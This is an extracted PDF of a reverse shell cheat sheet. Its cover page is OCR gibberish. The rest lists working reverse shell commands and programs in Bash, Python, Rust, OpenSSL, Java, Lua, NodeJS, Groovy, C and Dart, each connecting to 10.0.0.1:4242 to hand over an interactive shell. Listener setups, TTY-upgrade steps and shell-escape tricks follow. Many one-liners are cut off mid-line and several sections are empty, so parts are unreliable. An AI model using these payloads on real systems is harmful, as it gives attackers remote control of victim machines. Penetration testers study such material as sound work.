Reverse Shell Cheat Sheet
Reverse Shell Cheat Sheet
aniolecalehullaGeL;
22L,17weinne1 UeIhemen/s[tEL
Kreetst23 azX.ths. ataliteraf
JeiHcSErT1
&SHETENCIXINGIEALTSCRIKnodlu
NTILITEN Urale
c0+mm,[73차
Ahe20
30*/>* UB3U22 1rSでロitを
yo:025.19
*v2licaorechiiecay11
Coruoecaftron
ain1(enar1kull
nisruniooitace1 HOFEOEXKEPUNTY
10 ¿Piton-ShonIa:
anênusazlt-
Iriscechall
hellas,111,
$(Ekissoxsl.))
REVERSESHELL
ataneu.«r.)
CHEATSHEET
ULTIMATEGUIDEFORNETWORK Tabe(525г)
SECURITYPROFESSIONALS
ctesjant\
mytfle+1:
calloIjdeitenes21
carfesi
PRES3ELI
EINS
SosT 630x215.kr
ДНЕ25СКІНЯООЗТУСПРОКО8
anicousotias-11nz,cryonenc7luer11(SCIED So.
SHL.to.JAcro.(egesa,2) ndela153a.Cantr(1)
nres 12«гриссьна)
2HitttPhs
sroouverke offorcrodauc.
已
sirooko
?→6arkte
(3
1e9.
Summary
Tools
https://md2pdf.netlify.app/ Page 1 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
Reverse Shell
Awk
Automatic Reverse Shell Generator
Bash TCP
Bash UDP
C
Dart
Golang
Groovy Alternative 1
Groovy
Java Alternative 1
Java Alternative 2
Java
Lua
Ncat
Netcat OpenBsd
Netcat BusyBox
Netcat Traditional
NodeJS
OpenSSL
Perl
PHP
Powershell
Python
Ruby
Rust
Socat
Telnet
War
Meterpreter Shell
Windows Staged reverse TCP
Windows Stageless reverse TCP
Linux Staged reverse TCP
https://md2pdf.netlify.app/ Page 2 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
Tools
Reverse Shell
https://md2pdf.netlify.app/ Page 3 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
Bash TCP
Bash UDP
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
Socat
Perl
https://md2pdf.netlify.app/ Page 4 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
Python
Linux only
IPv4
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=sock
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import_
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.soc
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_I
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOC
https://md2pdf.netlify.app/ Page 5 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.co
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b(
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("1
IPv6
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=sock
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_I
PHP
https://md2pdf.netlify.app/ Page 6 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
Ruby
Rust
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("10.0.0.1:4242").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
Golang
Netcat Traditional
https://md2pdf.netlify.app/ Page 7 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
Netcat OpenBsd
Netcat BusyBox
Ncat
OpenSSL
Attacker:
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect
https://md2pdf.netlify.app/ Page 8 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
Powershell
Awk
Java
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read l
p.waitFor();
Java Alternative 1
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket
Java Alternative 2
https://md2pdf.netlify.app/ Page 9 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
}
}
thread.start();
Telnet
War
Lua
Linux only
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local t
NodeJS
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
https://md2pdf.netlify.app/ Page 10 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
or
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://tinyurl.com/yp43nfwr
Groovy
by frohoff NOTE: Java reverse shell also work for Groovy
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket
Groovy Alternative 1
Thread.start {
// Reverse shell here
}
C
Compile with gcc /tmp/shell.c --output csh && csh
#include <stdio.h>
https://md2pdf.netlify.app/ Page 11 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4242;
struct sockaddr_in revsockaddr;
return 0;
}
Dart
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.0.0.1", 4242).then((socket) {
socket.listen((data) {
Process.start('powershell.exe', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
https://md2pdf.netlify.app/ Page 12 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
});
}
Meterpreter Shell
Other platforms
https://md2pdf.netlify.app/ Page 13 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell,
allowing you to clear the screen with [CTRL] + [L] .
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
The main problem here is that zsh doesn't handle the stty command the same way bash or
sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands,
as soon as the prompt appear for you to execute the fg command, your -echo command
already lost its effect
ctrl+z
echo $TERM && tput lines && tput cols
# for bash
stty raw -echo
fg
# for zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
Alternatively, rustcat binary can automatically inject the TTY shell command.
https://md2pdf.netlify.app/ Page 14 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
The shell will be automatically upgraded and the TTY size will be provided for manual
adjustment. Not only that, upon exiting the shell, the terminal will be reset and thus usable.
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
vi: :!bash
vi: :set shell=/bin/bash:shell
nmap: !sh
mysql: ! bash
www-data@debian:/dev/shm$ su - user
su: must be run from a terminal
user@debian:~$
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way
Windows handles terminals.
https://md2pdf.netlify.app/ Page 15 of 16
Reverse Shell Cheat Sheet 01/11/2023, 08:37
Server Side:
Client Side:
References
https://md2pdf.netlify.app/ Page 16 of 16